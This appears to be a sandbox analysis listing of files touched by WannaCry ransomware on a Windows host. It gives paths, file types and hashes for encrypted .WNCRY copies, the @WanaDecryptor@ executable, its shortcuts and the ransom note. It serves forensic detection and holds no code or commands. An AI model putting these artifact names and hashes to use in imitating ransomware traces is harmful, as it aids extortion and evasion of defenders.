C:\Users\All Users\Microsoft\User Account Pictures\Default Pictures\usertile44.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\guest.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\User Account Pictures\user.bmp.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\Windows NT\MSFax\VirtualInbox\en-US\WelcomeFax.tif.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\Windows NT\MSScan\WelcomeScan.jpg.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\Windows\Caches\cversions.2.db.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\Windows\Caches\{67D69890-D853-4011-A87E-AA64FA83CE5A}.2.ver0x0000000000000002.db.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000007.db.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000b.db.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\Windows\Caches\{86012F79-362C-43D2-98EF-AB58A0A31343}.2.ver0x0000000000000001.db.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\Windows\Ringtones\Ringtone 01.wma.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\Windows\Ringtones\Ringtone 02.wma.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\Windows\Ringtones\Ringtone 03.wma.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\Windows\Ringtones\Ringtone 04.wma.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\Windows\Ringtones\Ringtone 05.wma.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\Windows\Ringtones\Ringtone 06.wma.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\Windows\Ringtones\Ringtone 07.wma.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\Windows\Ringtones\Ringtone 08.wma.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\Windows\Ringtones\Ringtone 09.wma.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\All Users\Microsoft\Windows\Ringtones\Ringtone 10.wma.WNCRY (copy)	Type: MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\Default\Desktop\@WanaDecryptor@.bmp	Type: PC bitmap, Windows 3.x format, 800 x 600 x 24 MD5: E9436E3155846B6C6464AE67EB862669 SHA: 8CD8CC5D61681C325EF6149F705329149FDA6CFF SHA-256: 7B197DB14A940BBDFAE26EF3C6AAF4FC9FF4949B7F02EA56B766EB758DB690A6 SHA-512: 1F97D004F11475EF21A331683FCE5C6A82AAFFC9877FB20E682735D20161C6A7D2D17B29B470E9DA192B7CE9E4423DD4E633E018246ABAF6F2A18EA7925CA3A5	false
C:\Users\Default\Desktop\@WanaDecryptor@.exe	Type: PE32 executable (GUI) Intel 80386, for MS Windows MD5: 21EC02E9D9EDEEEB49701203C20480B1 SHA: C70790D8F1249178151EF748D3D19AEDAA595353 SHA-256: ED792106D746C8C2F6B7214FE43D9396DF70844924F6EECC914A661FC8FF905D SHA-512: BA0BC197489DF945EA084C1023B7ECF5EAF0A0427000EBECEEB5895F0C02F6F041D139795616C61AE2B9540DD9E788D308D1DBD36FA3AA3283A2ACB404D64B75	true
C:\Users\Public\Desktop\@WanaDecryptor@.bmp	Type: PC bitmap, Windows 3.x format, 800 x 600 x 24 MD5: E9436E3155846B6C6464AE67EB862669 SHA: 8CD8CC5D61681C325EF6149F705329149FDA6CFF SHA-256: 7B197DB14A940BBDFAE26EF3C6AAF4FC9FF4949B7F02EA56B766EB758DB690A6 SHA-512: 1F97D004F11475EF21A331683FCE5C6A82AAFFC9877FB20E682735D20161C6A7D2D17B29B470E9DA192B7CE9E4423DD4E633E018246ABAF6F2A18EA7925CA3A5	false
C:\Users\Public\Desktop\@WanaDecryptor@.exe	Type: PE32 executable (GUI) Intel 80386, for MS Windows MD5: 21EC02E9D9EDEEEB49701203C20480B1 SHA: C70790D8F1249178151EF748D3D19AEDAA595353 SHA-256: ED792106D746C8C2F6B7214FE43D9396DF70844924F6EECC914A661FC8FF905D SHA-512: BA0BC197489DF945EA084C1023B7ECF5EAF0A0427000EBECEEB5895F0C02F6F041D139795616C61AE2B9540DD9E788D308D1DBD36FA3AA3283A2ACB404D64B75	true
C:\Users\Public\Music\Sample Music\@Please_Read_Me@.txt	Type: data MD5: 7A2726BB6E6A79FB1D092B7F2B688AF0 SHA: B3EFFADCE8B76AEE8CD6CE2ECCBB8701797468A2 SHA-256: 840AB19C411C918EA3E7526D0DF4B9CB002DE5EA15E854389285DF0D1EA9A8E5 SHA-512: 4E107F661E6BE183659FDD265E131A64CCE2112D842226305F6B111D00109A970FDA0B5ABFB1DAA9F64428E445E3B472332392435707C9AEBBFE94C480C72E54	false
C:\Users\Public\Music\Sample Music\@WanaDecryptor@.exe.lnk	Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri May 12 16:54:39 2017, mtime=Fri May 12 16:54:39 2017, atime=Fri May 12 00:22:56 2017, length=245760, window=hide MD5: 380FE084AD836A4DCDD236D4695FB370 SHA: 1C78147AB1FB2257E8D5D9B7A722EBBD4C40F0A3 SHA-256: 660BA89414429CA08516C9C95C3C7A02EDA12BC73434CD8AA8AD844039C9B568 SHA-512: 318DD4F9F442D0A45A1D19CCA2E986BB6A67B38437D65AE9599C3C79C82DEDD899F369F8B6A9614C96AB23D8D204F57E7891D506895E50D60F80C2A1B0EDB697	true
C:\Users\Public\Music\Sample Music\AlbumArt_{5FA05D35-A682-4AF6-96F7-0773E42D4D16}_Large.jpg.WNCRY (copy)	Type: MD5: 723A866CBA7675F161ECAD3068CF396C SHA: ABC16661683ABB3BE43D6963ECB2E83B00AB4404 SHA-256: 333B21F21602F3CE509164BA717D7D3CE61C29BC4DDF8DECD4D96B9A5BB60618 SHA-512: C1498E3E0778B6FA517E0C0443191374B6F9B9473741664895EB81D38F81BE94B20B5580C34CE10BBC4A4FDD32224D14B58C5D04FF51AA893F8F2F22D4CF7260	false
C:\Users\Public\Music\Sample Music\AlbumArt_{5FA05D35-A682-4AF6-96F7-0773E42D4D16}_Large.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\Public\Music\Sample Music\AlbumArt_{5FA05D35-A682-4AF6-96F7-0773E42D4D16}_Small.jpg.WNCRY (copy)	Type: MD5: 3A36EBBD5DE8E18630CC724E5211E616 SHA: 2320CFB15EAD801ACDE0FFB1295B11CC272AC8E2 SHA-256: 5F65EECB6E8D263E9F04F597BBACAC565076DAF6EC739710E805D24F7726161C SHA-512: E08F149F11E2B4A115B655070D6F3EF58A42D99BF7E45257ED8B43F0FF652E2B2F8339F17D860AF0FE70D8EDB8FA7CC05AAB9ABF34228E429EBBBD81F5DF203C	false
C:\Users\Public\Music\Sample Music\AlbumArt_{5FA05D35-A682-4AF6-96F7-0773E42D4D16}_Small.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\Public\Music\Sample Music\Kalimba.mp3.WNCRY (copy)	Type: MD5: 8E6B3B16529B1279C1329456C59A7214 SHA: D5C46D0883E2C38B1F5134AFA525F6BE7062659E SHA-256: 5F57F057629A62EC6B2872F00B01396760467D46C5B7B2BD72984E576B147BA2 SHA-512: E85388875D217254FF0A4337827CF95A21755FEB87605CDBDF5B020EF807819490BAA86838D5CC192266932539562029FD6ABB43DEB217ECE19DF545228EB9D3	false
C:\Users\Public\Music\Sample Music\Kalimba.mp3.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\Public\Music\Sample Music\Maid with the Flaxen Hair.mp3.WNCRY (copy)	Type: MD5: 5F90B89E160457EA5AE6FF6D8B6DF2B1 SHA: 1FF67A18F7A2E4F4CA71789087E513EE7E618825 SHA-256: 20025AD459C45D39556E56CE0F5DE7E21E9F48A6987EEA63A26F14A8DEED5585 SHA-512: A1913A879E8679241672072202DB69DFEA7579B4E6CB5DE4508BA054FDCBC0B9FDBEB309B9B5C56DFB86BFD620E7FD595690DAF74B41B8A01F90C099A3127163	false
C:\Users\Public\Music\Sample Music\Maid with the Flaxen Hair.mp3.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\Public\Music\Sample Music\Sleep Away.mp3.WNCRY (copy)	Type: MD5: 15860AA73AB9F6C7C7BBFB741D3E4B1A SHA: FF20BA5B6EAE9669E6E671BAC13E83CED9B06E83 SHA-256: 1ABA72A51E54F08BA6731AD1957834D61E229D322A65A8411229D1870B3ECF27 SHA-512: 383307B5DED1764BB07FFF2A152018B0BDE050EA221FEAAA3DF4B8797F31B155AF233042D09F61F2972489D060F0BB05C2D67DC93543F59F17F4B2890BC09883	false
C:\Users\Public\Music\Sample Music\Sleep Away.mp3.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\Public\Pictures\Sample Pictures\@Please_Read_Me@.txt	Type: data MD5: 7A2726BB6E6A79FB1D092B7F2B688AF0 SHA: B3EFFADCE8B76AEE8CD6CE2ECCBB8701797468A2 SHA-256: 840AB19C411C918EA3E7526D0DF4B9CB002DE5EA15E854389285DF0D1EA9A8E5 SHA-512: 4E107F661E6BE183659FDD265E131A64CCE2112D842226305F6B111D00109A970FDA0B5ABFB1DAA9F64428E445E3B472332392435707C9AEBBFE94C480C72E54	false
C:\Users\Public\Pictures\Sample Pictures\@WanaDecryptor@.exe.lnk	Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri May 12 16:54:39 2017, mtime=Fri May 12 16:54:39 2017, atime=Fri May 12 00:22:56 2017, length=245760, window=hide MD5: 380FE084AD836A4DCDD236D4695FB370 SHA: 1C78147AB1FB2257E8D5D9B7A722EBBD4C40F0A3 SHA-256: 660BA89414429CA08516C9C95C3C7A02EDA12BC73434CD8AA8AD844039C9B568 SHA-512: 318DD4F9F442D0A45A1D19CCA2E986BB6A67B38437D65AE9599C3C79C82DEDD899F369F8B6A9614C96AB23D8D204F57E7891D506895E50D60F80C2A1B0EDB697	true
C:\Users\Public\Pictures\Sample Pictures\Chrysanthemum.jpg.WNCRY (copy)	Type: MD5: 3F76323DCD6A87AB514DEE519F7C39D7 SHA: 4C27CE2C292BA880C23D836B4B9B04B0A8389DA2 SHA-256: 540F807C629A88B35F1C4DBF0C862A627ED8E911B3417C1632FA9D3028BA0A0D SHA-512: C9B237F0294A7E0E744EB77A875B3C51D0B79A511E2B65FE3E7D168167D7B74E0A0F8EBE313519CEAFB7F58181F6E08FAAFE2297429EF6E635138C66C1AF121B	false
C:\Users\Public\Pictures\Sample Pictures\Chrysanthemum.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\Public\Pictures\Sample Pictures\Desert.jpg.WNCRY (copy)	Type: MD5: BAA678847ABCDF22E66D003B49E1DC1D SHA: 39479981C7433E2CDBB0A522DADDBC251CF22318 SHA-256: 4C51412063D723ABAA80CF8001A0A71727007B9ED9576B762932F3C7F1F0CDC8 SHA-512: EBF2A832D1ECA4DD150667EF30382C80CB5D9930E0F6E348554F2B70CE98D2028CBA0857685941DD6CF11E69E3E64EA6284B36B05B5C7E7BE662033119641F17	false
C:\Users\Public\Pictures\Sample Pictures\Desert.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\Public\Pictures\Sample Pictures\Hydrangeas.jpg.WNCRY (copy)	Type: MD5: E16C912DF31D5F7252893C658F7ED6C6 SHA: E4BC95428D8CF92EDB796822D6B985F749F4B9A1 SHA-256: 351416292CB263CC23D42E54B09A0AAD691D7223746AE0F6B624A1E8BBCF0720 SHA-512: 2E54AE20503D5963962BC2CB6097237AAAEE0D31A04D7BDCB4443F42AF95BB5A0354CFE568F50B88D40BCF5DE4D5DFF5339C612294ECD6B9131DFE1897C15314	false
C:\Users\Public\Pictures\Sample Pictures\Hydrangeas.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\Public\Pictures\Sample Pictures\Jellyfish.jpg.WNCRY (copy)	Type: MD5: 8675B6701547C1D2FFAA7CC5125A860C SHA: 62D580ED442B907302F9597456B9EBA9F981F338 SHA-256: 1F48F23070D41FCE590B5B86856A0867BACBC36FD8FD1602849188F658FCB0AF SHA-512: 220F62ACF56C3CBAE698FC0681B1DB74DEAD8E8DEC7126457FA2C919B4406F6E60852632A232F326860A1E8FC90ED4D25ED4335D315520D8008B7C184EE8CE83	false
C:\Users\Public\Pictures\Sample Pictures\Jellyfish.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\Public\Pictures\Sample Pictures\Koala.jpg.WNCRY (copy)	Type: MD5: 6D54DBDFF109A8FB929DBCCE2BA43D2F SHA: C3B8F5D3ECDD795B80820B78F503055C861205E8 SHA-256: 048F951C15165867170CE28A60433136F567F0426C208249EBDAD09D06E8C0D2 SHA-512: F7FDE663339B331FB3E602A2322E2D962C513F39BB6F4824119CBF02A8EA0199D552EDE70648C802F3A8168FE683176E0E7F97D95A9137D40AF6555A729CC2BC	false
C:\Users\Public\Pictures\Sample Pictures\Koala.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\Public\Pictures\Sample Pictures\Lighthouse.jpg.WNCRY (copy)	Type: MD5: 0A8AAC33BC13FD3BF3B8EE48E938492A SHA: DEC9A4EDFA28C7DFF796939DDB2E17D25A029FE3 SHA-256: E8BA66FB08F678A5F497A0B47298C21AF58B08D46A94ACFAE8F68A9021F3F6F6 SHA-512: 4CF3607D07C68DCE70E9DB7AE0B6C1FC843EC915C98D9F2673002FC38A90CDFA42D4E314ABBE53C4D71AAE57CE383A8CF84F5A7A99CB2C0E114ABB500920F3D4	false
C:\Users\Public\Pictures\Sample Pictures\Lighthouse.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg.WNCRY (copy)	Type: MD5: 2743F47EDD5E95962DC99B1695109154 SHA: 70FA154860CA5C1BFFE3DF7613BE56E9BB927D11 SHA-256: 9C019BDCCA3E80CA1D6A4BB88296D8EBFFB60C1FAAD2E94EF42369770DD99D74 SHA-512: A35CACB918CC3DDFE29BF6A66EE8640BD628E461814C0F474D21478F0B7712D3833AA0269B2F7CEEFD9657CB82E0FEE1F4F13CCC2F1501A7D48A19F6F41D92EF	false
C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\Public\Pictures\Sample Pictures\Tulips.jpg.WNCRY (copy)	Type: MD5: 878FD45C1FB52E320C1B40B48604513F SHA: 7B15EE8BC51C2DD4A4791B5D426F418D9FE709FD SHA-256: 4F0DD60FF2002C55E09B5E6BF7CA5E94C0E717E259C0848B88C35F7AB5C9B9A2 SHA-512: FBA7F6BB97B6053917DEE5DE91BCBFBA5E6A09767822E0C5B6D477733B57BE746C7C7592401ACAA4BD95E2562A3F2EAD47393E4F8A8C58282BA12B5990C12D23	false
C:\Users\Public\Pictures\Sample Pictures\Tulips.jpg.WNCRYT	Type: data MD5: D41D8CD98F00B204E9800998ECF8427E SHA: DA39A3EE5E6B4B0D3255BFEF95601890AFD80709 SHA-256: E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855 SHA-512: CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E	false
C:\Users\Public\Videos\Sample Videos\@Please_Read_Me@.txt	Type: data MD5: 7A2726BB6E6A79FB1D092B7F2B688AF0 SHA: B3EFFADCE8B76AEE8CD6CE2ECCBB8701797468A2 SHA-256: 840AB19C411C918EA3E7526D0DF4B9CB002DE5EA15E854389285DF0D1EA9A8E5 SHA-512: 4E107F661E6BE183659FDD265E131A64CCE2112D842226305F6B111D00109A970FDA0B5ABFB1DAA9F64428E445E3B472332392435707C9AEBBFE94C480C72E54	false
